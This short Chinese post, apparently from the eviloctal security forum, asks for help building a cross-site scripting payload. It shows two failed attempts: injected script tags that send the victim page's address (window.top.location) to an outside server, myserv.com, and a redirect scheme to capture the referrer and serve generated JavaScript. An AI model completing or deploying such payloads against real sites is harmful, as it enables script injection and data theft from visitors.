议题提交:玄猫
信息来源:邪恶八进制信息安全团队(
www.eviloctal.com)
在进行某个跨站的应用时,需要根据当前页面的地址生成一个javascript的js文件,现在我就无法得到当前页面的地址,希望大家能帮助我。
我做过的尝试:1、用脚本写脚本<script>document.write("<script src='
http://myserv.com/myjs.asp?" + window.top.location +"></script>")</script>
但是这种方法,浏览器会把双引号中的</script>当成脚本结束标记,失败。
2、在页面中用正常方法即<script src="
http://myserv.com/myjs.asp"></script>插入文件,然后myjs.asp这个文件是动态的,检测如果是第一次访问,就<script>window.location="
http://myserv.com/b.asp"></script>跳转到b.asp,b.asp负责获取来路地址,并写到一个文件中,然后跳回我写跨站代码的页面,然后对于myjs.asp就是第二次访问了,myjs.asp再从刚才写来路地址的文件中读出,然后生成js代码。
这种方法也失败了,因为b.asp根本不能获得来路地址。
感谢大家帮助我,这个问题困惑了我好久。